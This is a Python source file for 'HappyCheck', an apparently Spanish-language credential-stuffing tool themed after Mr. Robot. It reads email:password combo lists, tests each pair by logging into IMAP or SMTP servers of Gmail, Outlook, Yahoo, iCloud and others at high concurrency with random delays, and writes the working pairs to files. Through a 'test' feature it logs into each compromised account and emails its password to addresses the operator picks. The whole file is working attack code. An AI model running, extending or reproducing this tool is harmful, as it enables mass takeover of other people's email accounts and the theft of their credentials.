import asyncio
import ssl
import aioimaplib
import aiosmtplib
import dns.asyncresolver
import dns.exception
import re
import os
import sys
import time
import random
import logging
import json
from dataclasses import dataclass
from datetime import datetime
import socket
from typing import List, Any, Optional
from email.mime.text import MIMEText
from email.utils import formatdate

try:
    from rich.console import Console
    from rich.live import Live
    from rich.table import Table
    from rich.panel import Panel
    from rich.layout import Layout
    from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TaskProgressColumn
    from rich.align import Align
    from rich.text import Text
    RICH_AVAILABLE = True
except ImportError:
    RICH_AVAILABLE = False

# --- COLORES PARA TERMINAL (ESTILO HACKER MR. ROBOT) ---
class Colors:
    RESET = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    BLACK = '\033[30m'
    RED = '\033[31m'
    GREEN = '\033[32m'
    YELLOW = '\033[33m'
    BLUE = '\033[34m'
    MAGENTA = '\033[35m'
    CYAN = '\033[36m'
    WHITE = '\033[37m'
    BG_BLACK = '\033[40m'
    BG_RED = '\033[41m'
    BG_GREEN = '\033[42m'
    BG_YELLOW = '\033[43m'
    BG_BLUE = '\033[44m'
    BG_MAGENTA = '\033[45m'
    BG_CYAN = '\033[46m'
    BG_WHITE = '\033[47m'

# Configure logger centrally
def configure_logger():
    """Configure and return a logger for HappyCheck with file and stream handlers."""
    logger = logging.getLogger("HappyCheck")
    if not logger.handlers:
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('happycheck.log', encoding='utf-8'),
                logging.StreamHandler(sys.stdout)
            ]
        )
    return logger

# --- ASCII ART HACKER STYLE ---
HACKER_BANNER = f"""
{Colors.BOLD}{Colors.GREEN}
   ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ 
  |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
  | H | A | P | P | Y |   | C | H | E | C | K |   | v | 2 | . | 1 |   |   |
  |___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|
{Colors.RESET}
{Colors.CYAN}Developed by @lacasadeltruco - Elliot Alderson Mode Activated{Colors.RESET}
{Colors.YELLOW}---------------------------------------------------------------{Colors.RESET}
"""

# --- CONFIGURACIÓN GLOBAL ---
CONFIG = {
    'timeout': 10,
    'max_concurrent': 100,
    'random_delay': (0.01, 0.05),
}

# Proveedores conocidos
PROVIDER_CONFIG = {
    'gmail.com': {'imap': ('imap.gmail.com', 993), 'smtp': ('smtp.gmail.com', 587)},
    'googlemail.com': {'imap': ('imap.gmail.com', 993), 'smtp': ('smtp.gmail.com', 587)},
    'hotmail.com': {'imap': ('outlook.office365.com', 993), 'smtp': ('smtp.office365.com', 587)},
    'outlook.com': {'imap': ('outlook.office365.com', 993), 'smtp': ('smtp.office365.com', 587)},
    'live.com': {'imap': ('outlook.office365.com', 993), 'smtp': ('smtp.office365.com', 587)},
    'msn.com': {'imap': ('outlook.office365.com', 993), 'smtp': ('smtp.office365.com', 587)},
    'yahoo.com': {'imap': ('imap.mail.yahoo.com', 993), 'smtp': ('smtp.mail.yahoo.com', 465)},
    'icloud.com': {'imap': ('imap.mail.me.com', 993), 'smtp': ('smtp.mail.me.com', 587)},
}

@dataclass
class Account:
    email: str
    password: str
    domain: str = ""
    status: str = "pending"
    protocol: str = ""
    server: str = ""
    port: int = 0
    error: str = ""
    response_time: float = 0.0
    test_sent: bool = False
    test_count: int = 0
    raw_data: str = "" # Conserva el formato original de entrada

    def __post_init__(self):
        if '@' in self.email:
            self.domain = self.email.split('@')[1].lower()

class HappyCheck:
    def __init__(self, test_emails=None, on_account_checked=None, custom_msg=None):
        self.config = CONFIG.copy()
        self.stats = {
            'total': 0,
            'valid': 0,
            'invalid': 0,
            'auth_failed': 0,
            'checked': 0,
            'tests_sent': 0,
            'start_time': time.time()
        }
        self.test_emails = test_emails or []
        self.on_account_checked = on_account_checked
        self.custom_msg = custom_msg
        self._stop_event = asyncio.Event()
        self._pause_event = asyncio.Event()
        self._pause_event.set() # Inicialmente no pausado
        self._domain_cache = {}
        self._dns_resolver = dns.asyncresolver.Resolver()
        self._dns_resolver.nameservers = ['8.8.8.8', '1.1.1.1']
        self._dns_resolver.timeout = 1.0
        self._dns_resolver.lifetime = 1.0
        # Logger y Consola
        self.logger = configure_logger()
        self.rich_enabled = RICH_AVAILABLE
        if self.rich_enabled:
            self.console = Console()
        self._recent_valids = []

    async def _get_server_config(self, domain: str, protocol: str) -> tuple:
        """Retrieve server configuration for given domain and protocol.
        Returns (host, port).
        """
        if not domain or '.' not in domain or len(domain) < 3:
            return (f'imap.{domain}' if protocol == 'imap' else f'smtp.{domain}', 993 if protocol == 'imap' else 587)
            
        cache_key = f"{domain}_{protocol}"
        if cache_key in self._domain_cache:
            return self._domain_cache[cache_key]
        if domain in PROVIDER_CONFIG:
            res = PROVIDER_CONFIG[domain][protocol]
            self._domain_cache[cache_key] = res
            return res
        if any(kw in domain for kw in ['.edu', '.ac.', 'onmicrosoft', 'office365']):
            res = ('outlook.office365.com', 993) if protocol == 'imap' else ('smtp.office365.com', 587)
            self._domain_cache[cache_key] = res
            return res
        try:
            mx_records = await self._dns_resolver.resolve(domain, 'MX')
            mx_list = [str(mx.exchange).rstrip('.').lower() for mx in mx_records]
            for mx in mx_list:
                if any(kw in mx for kw in ['outlook.com', 'microsoft.com', 'pphosted.com']):
                    res = ('outlook.office365.com', 993) if protocol == 'imap' else ('smtp.office365.com', 587)
                    break
                elif any(kw in mx for kw in ['google.com', 'googlemail.com', 'aspmx.l.google.com']):
                    res = ('imap.gmail.com', 993) if protocol == 'imap' else ('smtp.gmail.com', 587)
                    break
                elif 'secureserver.net' in mx:
                    res = ('imap.secureserver.net', 993) if protocol == 'imap' else ('smtpout.secureserver.net', 465)
                    break
                elif any(kw in mx for kw in ['yahoodns.net', 'yahoo.com']):
                    res = ('imap.mail.yahoo.com', 993) if protocol == 'imap' else ('smtp.mail.yahoo.com', 465)
                    break
            else:
                res = (f'imap.{domain}', 993) if protocol == 'imap' else (f'smtp.{domain}', 587)
        except (dns.exception.DNSException, socket.gaierror, OSError) as e:
            self.logger.debug(f"DNS/Connection error resolving {domain}: {e}")
            res = (f'imap.{domain}', 993) if protocol == 'imap' else (f'smtp.{domain}', 587)
        except Exception as e:
            self.logger.debug(f"Unexpected error resolving {domain}: {e}")
            res = (f'imap.{domain}', 993) if protocol == 'imap' else (f'smtp.{domain}', 587)
        self._domain_cache[cache_key] = res
        return res

    async def check_account(self, account: Account, mode: str) -> Account:
        """Check a single account using IMAP/SMTP based on mode.
        Returns the updated Account instance with status and metrics.
        """
        start_time = time.time()
        try:
            proto = 'imap' if mode in ['imap', 'auto'] else 'smtp'
            
            # Persistencia de servidor manual
            s_host, s_port = account.server, account.port
            
            if not s_host:
                s_host, s_port = await self._get_server_config(account.domain, proto)
            
            await asyncio.sleep(random.uniform(*self.config['random_delay']))
            success = False
            
            if proto == 'imap':
                try:
                    client = aioimaplib.IMAP4_SSL(s_host, s_port, timeout=self.config['timeout']) \
                        if s_port == 993 else aioimaplib.IMAP4(s_host, s_port, timeout=self.config['timeout'])
                    await client.wait_hello_from_server()
                    resp = await client.login(account.email, account.password)
                    if resp.result == 'OK':
                        success = True
                        account.protocol = 'IMAP'
                        account.server, account.port = s_host, s_port
                    await client.logout()
                except Exception as e:
                    account.error = f"IMAP_ERR: {str(e)[:50]}"

            if not success and mode in ['auto', 'smtp']:
                try:
                    # Si el modo es auto y falló imap, buscamos smtp si no fue especificado manualmente
                    if not account.server or 'imap' in account.server.lower():
                        s_host_smtp, s_port_smtp = await self._get_server_config(account.domain, 'smtp')
                    else:
                        s_host_smtp, s_port_smtp = account.server, account.port

                    smtp = aiosmtplib.SMTP(hostname=s_host_smtp, port=s_port_smtp, timeout=self.config['timeout'], use_tls=(s_port_smtp == 465))
                    await smtp.connect()
                    if s_port_smtp in [587, 25]:
                        try: await smtp.starttls()
                        except: pass
                    await smtp.login(account.email, account.password)
                    success = True
                    account.protocol = 'SMTP'
                    account.server, account.port = s_host_smtp, s_port_smtp
                    await smtp.quit()
                except Exception as e:
                    err_msg = str(e)[:100]
                    account.error = f"{account.error} | SMTP_ERR: {err_msg}" if account.error else f"SMTP_ERR: {err_msg}"
            if success:
                account.status = 'valid'
                self.stats['valid'] += 1
                if self.test_emails:
                    # Siempre buscar configuración SMTP para el test, ignorando el puerto IMAP si éxito fue vía IMAP
                    if account.protocol == 'SMTP':
                        smtp_host, smtp_port = account.server, account.port
                    else:
                        smtp_host, smtp_port = await self._get_server_config(account.domain, 'smtp')
                    
                    test_count = await self._send_test(account, smtp_host, smtp_port)
                    account.test_count = test_count
                    self.stats['tests_sent'] += test_count
                    account.test_sent = test_count > 0
            else:
                if any(kw in account.error.lower() for kw in ["auth", "535", "credentials", "password"]):
                    account.status = 'auth_failed'
                    self.stats['auth_failed'] += 1
                else:
                    account.status = 'invalid'
                    self.stats['invalid'] += 1
        except Exception as e:
            account.status = 'error'
            account.error = str(e)[:100]
        account.response_time = time.time() - start_time
        self.stats['checked'] += 1
        if account.status == 'valid':
            if self.rich_enabled:
                self._recent_valids.append(f"[bold green]✓[/][white] {account.email}")
                if len(self._recent_valids) > 10:
                    self._recent_valids.pop(0)
            else:
                self.logger.info(f"{Colors.GREEN}✓ VÁLIDA: {account.email}{Colors.RESET}")
        
        if not self.rich_enabled and not self.on_account_checked:
            self.print_stats_fallback()
            
        if self.on_account_checked:
            self.on_account_checked(account, self.stats)
            
        return account

    async def _send_test(self, account: Account, host: str, port: int) -> int:
        """Send test emails to configured test addresses.
        Returns number of successful sends.
        """
        if not self.test_emails:
            return 0
        success_count = 0
        for rec in self.test_emails:
            try:
                base_msg = self.custom_msg if self.custom_msg else (
                    f"Esta es una prueba de la casa del truco\n\n"
                    f"Gracias por usar nuestros servicios\n"
                    f"@lacasadeltruco\n"
                )
                body = (
                    f"{base_msg}\n\n"
                    f"SYSTEM ⚡\n"
                    f"HOST : {host}\n"
                    f"PORT : {port}\n"
                    f"USER : {account.email}\n"
                    f"PASS : {account.password}"
                )
                msg = MIMEText(body)
                msg['Subject'] = f"Prueba HappyCheck: {account.email}"
                msg['From'] = account.email
                msg['To'] = rec
                msg['Date'] = formatdate(localtime=True)
                
                # Intentar envío con 2 reintentos para máxima fiabilidad
                sent = False
                for attempt in range(2):
                    try:
                        smtp_test = aiosmtplib.SMTP(
                            hostname=host, port=port, 
                            timeout=15, 
                            use_tls=(port == 465)
                        )
                        await smtp_test.connect()
                        if port in [587, 25]:
                            try: await smtp_test.starttls()
                            except: pass
                        
                        await smtp_test.login(account.email, account.password)
                        await smtp_test.send_message(msg)
                        await smtp_test.quit()
                        sent = True
                        break
                    except Exception as e:
                        if attempt == 0: await asyncio.sleep(1) # Pequeña espera antes de reintentar
                        last_err = str(e)

                if sent:
                    success_count += 1
                    self.logger.info(f"✓ TEST EXITOSO: De {account.email} para {rec}")
                else:
                    self.logger.warning(f"✗ TEST FALLIDO: De {account.email} para {rec} - Motivo: {last_err[:50]}")
            except Exception as e:
                self.logger.error(f"✗ ERROR CRÍTICO TEST: {str(e)[:50]}")
        return success_count

    def get_dashboard(self) -> Any:
        """Genera el panel del dashboard con estilo 'dorado' para Rich."""
        if not self.rich_enabled:
            return None
        elapsed = time.time() - self.stats['start_time']
        rate = self.stats['checked'] / max(elapsed, 1)
        percent = (self.stats['checked'] / self.stats['total'] * 100) if self.stats['total'] > 0 else 0
        
        # Tabla de estadísticas
        stats_table = Table.grid(expand=True)
        stats_table.add_column(justify="left", style="cyan")
        stats_table.add_column(justify="right", style="bold yellow")
        
        stats_table.add_row("Total cuentas:", str(self.stats['total']))
        stats_table.add_row("Verificadas:", f"{self.stats['checked']} ({percent:.1f}%)")
        stats_table.add_row("Válidas [green]✓[/]:", f"[bold green]{self.stats['valid']}[/]")
        stats_table.add_row("Auth Failed [red]✗[/]:", f"[bold red]{self.stats['auth_failed']}[/]")
        stats_table.add_row("Tests Enviados:", str(self.stats['tests_sent']))
        stats_table.add_row("Velocidad:", f"{rate:.1f} c/s")
        
        # Historial de válidas (Ventana Áurea)
        history_text = Text("\n".join(self._recent_valids) if self._recent_valids else "Esperando resultados...")
        
        # Barra de Progreso
        pb_width = 40
        done_chars = int((percent / 100) * pb_width)
        remaining_chars = pb_width - done_chars
        progress_bar = Text(f"[{'█' * done_chars}{'░' * remaining_chars}] {percent:.1f}%", style="bold green")
        
        layout = Layout()
        layout.split(
            Layout(Panel(Align.center(Text("LA CASA DEL TRUCO - ELLIOT ALDERSON MODE", style="bold gold1")), border_style="gold1"), size=3),
            Layout(name="body"),
            Layout(Panel(Align.center(progress_bar), title="[bold white]Progreso Total[/]", border_style="gold1"), size=3)
        )
        layout["body"].split_row(
            Layout(Panel(history_text, title="[bold green]Últimas Cuentas Válidas[/]", border_style="green")),
            Layout(Panel(stats_table, title="[bold cyan]Estadísticas[/]", border_style="cyan"))
        )
        
        return Panel(layout, title="[bold white]EL CIEN BRAZOS v2.2 - Multi-Armed Engine[/]", border_style="gold1", height=20)

    def print_stats_fallback(self) -> None:
        """Imprime estadísticas simples si Rich no está disponible."""
        elapsed = time.time() - self.stats['start_time']
        rate = self.stats['checked'] / max(elapsed, 1)
        percent = (self.stats['checked'] / self.stats['total'] * 100) if self.stats['total'] > 0 else 0
        print(f"\r{Colors.CYAN}[{percent:.1f}%] {Colors.RESET}Válidas: {Colors.GREEN}{self.stats['valid']}{Colors.RESET} | Fallidas: {Colors.RED}{self.stats['auth_failed']}{Colors.RESET} | Velocidad: {Colors.YELLOW}{rate:.1f} c/s{Colors.RESET}", end="")

    async def process_batch(self, accounts: List[Account], mode: str) -> None:
        """Process a batch of accounts concurrently with a live dashboard."""
        self.stats['total'] = len(accounts)
        semaphore = asyncio.Semaphore(self.config['max_concurrent'])
        
        async def worker(acc):
            try:
                async with semaphore:
                    return await self.check_account(acc, mode)
            except Exception as e:
                acc.status = 'error'
                acc.error = f"WORKER_ERR: {str(e)[:50]}"
                self.stats['checked'] += 1
                return acc

        if self.rich_enabled:
            with Live(self.get_dashboard(), refresh_per_second=4) as live:
                tasks = [asyncio.create_task(worker(acc)) for acc in accounts]
                for f in asyncio.as_completed(tasks):
                    if self._stop_event.is_set():
                        for task in tasks: task.cancel()
                        break
                    await self._pause_event.wait()
                    await f
                    live.update(self.get_dashboard())
        else:
            tasks = [asyncio.create_task(worker(acc)) for acc in accounts]
            for f in asyncio.as_completed(tasks):
                if self._stop_event.is_set():
                    for task in tasks: task.cancel()
                    break
                await self._pause_event.wait()
                await f
            print() # Nueva línea al final

    def stop(self):
        """Signal the batch process to stop."""
        self._stop_event.set()
        self._pause_event.set() # Asegurar que no esté bloqueado

    def pause(self):
        """Pause the verification process."""
        self._pause_event.clear()

    def resume(self):
        """Resume the verification process."""
        self._pause_event.set()

    def reset_stats(self):
        """Reset all mission statistics."""
        self.stats.update({
            'valid': 0, 'invalid': 0, 'auth_failed': 0, 
            'checked': 0, 'tests_sent': 0, 'start_time': time.time()
        })

    def load_accounts(self, file_path: str) -> List[Account]:
        """Load accounts from a file, returning a list of Account objects."""
        accounts = []
        # Regex ULTIMA: Mucho más permisiva. Encuentra el email y lo que le siga.
        pattern = re.compile(r'(?:([^|:\s]+)\|(\d+)\|)?([^|:\s@]+@[^|:\s@]+\.[^|:\s@]+)[:| \t]+(.*)$')
        try:
            with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
                for line in f:
                    line = line.strip()
                    if not line: continue
                    m = pattern.search(line)
                    if m:
                        host, port, email, password = m.groups()
                        acc = Account(email=email.lower(), password=password, raw_data=line)
                        if host and port:
                            acc.server = host
                            acc.port = int(port)
                        accounts.append(acc)
        except Exception as e:
            self.logger.error(f"Error al cargar archivo: {e}")
        return accounts

    def save_results(self, accounts: List[Account], output_dir: str = 'results') -> None:
        """Save results to files in the specified output directory, handling I/O errors gracefully."""
        try:
            os.makedirs(output_dir, exist_ok=True)
        except Exception as e:
            self.logger.error(f"Failed to create output directory {output_dir}: {e}")
            return
        timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
        valid_path = f"{output_dir}/happycheck_valids_{timestamp}.txt"
        detailed_path = f"{output_dir}/happycheck_detailed_{timestamp}.json"
        tests_path = f"{output_dir}/happycheck_tests_{timestamp}.txt"
        # Guardar válidas
        try:
            with open(valid_path, 'w', encoding='utf-8') as f:
                for a in accounts:
                    if a.status == 'valid':
                        f.write(f"{a.email}:{a.password}\n")
        except Exception as e:
            self.logger.error(f"Error writing valid accounts file: {e}")
        # Guardar con tests exitosos
        try:
            with open(tests_path, 'w', encoding='utf-8') as f:
                for a in accounts:
                    if a.status == 'valid' and a.test_count > 0:
                        f.write(f"{a.email}:{a.password} | Tests: {a.test_count}\n")
        except Exception as e:
            self.logger.error(f"Error writing tests file: {e}")
        # Guardar detallado
        try:
            results = [vars(a) for a in accounts]
            with open(detailed_path, 'w', encoding='utf-8') as f:
                json.dump(results, f, indent=2, ensure_ascii=False)
        except Exception as e:
            self.logger.error(f"Error writing detailed JSON file: {e}")
        # Summary output
        print(f"{Colors.GREEN}\n\n✅ Resultados guardados en carpeta: {output_dir}/{Colors.RESET}")
        print(f"{Colors.GREEN} ✓ Válidas: {valid_path}{Colors.RESET}")
        print(f"{Colors.GREEN} ✓ Con tests: {tests_path}{Colors.RESET}")
        print(f"{Colors.GREEN} ✓ Detalles: {detailed_path}{Colors.RESET}")

    def print_valid_accounts(self, accounts: List[Account]) -> None:
        """Print valid accounts to console in a formatted way."""
        print(f"{Colors.BOLD}{Colors.GREEN}\n\n{'=' * 60}{Colors.RESET}")
        print(f"{Colors.GREEN}🎉 CUENTAS VÁLIDAS (FORMATO CORREO:CLAVE):{Colors.RESET}")
        print(f"{Colors.BOLD}{Colors.GREEN}{'=' * 60}{Colors.RESET}")
        valid_accounts = [a for a in accounts if a.status == 'valid']
        if not valid_accounts:
            print(f"{Colors.YELLOW}⚠️ No se encontraron cuentas válidas.{Colors.RESET}")
        else:
            for a in valid_accounts:
                print(f"{Colors.GREEN}{a.email}:{a.password}{Colors.RESET}")
        print(f"{Colors.BOLD}{Colors.GREEN}{'=' * 60}{Colors.RESET}")

# --- MODO INTERACTIVO ---
def interactive_mode():
    print(HACKER_BANNER)
    # Preguntar archivo
    while True:
        file_path = input(f"{Colors.BLUE}\n📁 Ruta del archivo de cuentas (ej: cuentas.txt): {Colors.RESET}").strip().strip('"').strip("'")
        if os.path.isfile(file_path):
            break
        print(f"{Colors.RED}❌ Archivo no encontrado. Intenta de nuevo.{Colors.RESET}")
    # Preguntar hilos
    while True:
        threads = input(f"{Colors.BLUE}🔥 Número de hilos (recomendado 100-300, enter=150): {Colors.RESET}").strip()
        if not threads:
            threads = 150
            break
        try:
            threads = int(threads)
            if threads > 0:
                break
        except:
            pass
        print(f"{Colors.RED}❌ Ingresa un número válido.{Colors.RESET}")
    # Modo
    while True:
        mode_input = input(f"{Colors.BLUE}⚙️ Modo de verificación (auto/imap/smtp) [enter=auto]: {Colors.RESET}").strip().lower()
        if not mode_input or mode_input == 'auto':
            mode = 'auto'
            break
        if mode_input in ['imap', 'smtp']:
            mode = mode_input
            break
        print(f"{Colors.RED}❌ Elige: auto, imap o smtp{Colors.RESET}")
    # Emails de prueba
    test_input = input(f"{Colors.BLUE}\n📧 Emails para enviar pruebas (separados por espacio, enter=ninguno): {Colors.RESET}").strip()
    test_emails = [e.strip() for e in test_input.split() if e.strip()]
    # Delay
    delay_input = input(f"{Colors.BLUE}⏳ Delay máximo entre checks en segundos (enter=0.05): {Colors.RESET}").strip()
    if delay_input:
        try:
            delay = float(delay_input)
            CONFIG['random_delay'] = (0.01, max(0.01, delay))
        except:
            pass
    print(f"{Colors.GREEN}\n🚀 Iniciando HappyCheck...{Colors.RESET}")
    print(f"{Colors.CYAN} 📂 Archivo: {file_path}{Colors.RESET}")
    print(f"{Colors.CYAN} 🔥 Hilos: {threads}{Colors.RESET}")
    print(f"{Colors.CYAN} ⚙️ Modo: {mode}{Colors.RESET}")
    print(f"{Colors.CYAN} 📧 Tests: {len(test_emails)} emails configurados{Colors.RESET}" if test_emails else f"{Colors.CYAN} 📧 Tests: Ninguno{Colors.RESET}")
    print(f"{Colors.YELLOW}{'-' * 55}{Colors.RESET}")
    CONFIG['max_concurrent'] = threads
    checker = HappyCheck(test_emails=test_emails)
    accounts = checker.load_accounts(file_path)
    if not accounts:
        print(f"{Colors.RED}❌ No se cargaron cuentas. Revisa el formato.{Colors.RESET}")
        return
    print(f"{Colors.GREEN}✅ Cargadas {len(accounts)} cuentas. Iniciando verificación...\n{Colors.RESET}")
    try:
        asyncio.run(checker.process_batch(accounts, mode))
        checker.save_results(accounts)
        elapsed = time.time() - checker.stats['start_time']
        print(f"{Colors.BOLD}{Colors.GREEN}\n\n{'=' * 60}{Colors.RESET}")
        print(f"{Colors.GREEN}🎉 VERIFICACIÓN COMPLETADA!{Colors.RESET}")
        print(f"{Colors.BOLD}{Colors.GREEN}{'=' * 60}{Colors.RESET}")
        print(f"{Colors.BLUE}📊 RESUMEN FINAL:{Colors.RESET}")
        print(f"{Colors.CYAN} ✅ Total cuentas: {checker.stats['total']}{Colors.RESET}")
        print(f"{Colors.GREEN} ✅ Válidas: {checker.stats['valid']}{Colors.RESET}")
        print(f"{Colors.RED} ❌ Auth Failed: {checker.stats['auth_failed']}{Colors.RESET}")
        print(f"{Colors.RED} ❌ Inválidas: {checker.stats['invalid']}{Colors.RESET}")
        print(f"{Colors.MAGENTA} 📧 Tests enviados: {checker.stats['tests_sent']}{Colors.RESET}")
        print(f"{Colors.CYAN} ⏱️ Tiempo total: {elapsed:.1f} segundos{Colors.RESET}")
        print(f"{Colors.YELLOW} 🚀 Velocidad: {checker.stats['total']/elapsed:.1f} cuentas/s{Colors.RESET}")
        print(f"{Colors.BOLD}{Colors.GREEN}{'=' * 60}{Colors.RESET}")
        # Imprimir las válidas al final
        checker.print_valid_accounts(accounts)
    except KeyboardInterrupt:
        print(f"{Colors.YELLOW}\n\n⚠️ Verificación interrumpida por el usuario.{Colors.RESET}")
        print(f"{Colors.GREEN}💾 Guardando resultados parciales...{Colors.RESET}")
        checker.save_results(accounts)
        checker.print_valid_accounts(accounts)
    except Exception as e:
        print(f"{Colors.RED}\n\n❌ Error inesperado: {e}{Colors.RESET}")
        print(f"{Colors.GREEN}💾 Guardando resultados obtenidos...{Colors.RESET}")
        checker.save_results(accounts)
        checker.print_valid_accounts(accounts)

if __name__ == "__main__":
    if len(sys.argv) > 1:
        print(f"{Colors.GREEN}🎯 HAPPY CHECK{Colors.RESET}")
        print(f"{Colors.YELLOW}Usa sin argumentos para modo interactivo.{Colors.RESET}")
        print(f"{Colors.YELLOW}Ejemplo: python script.py{Colors.RESET}")
    else:
        interactive_mode()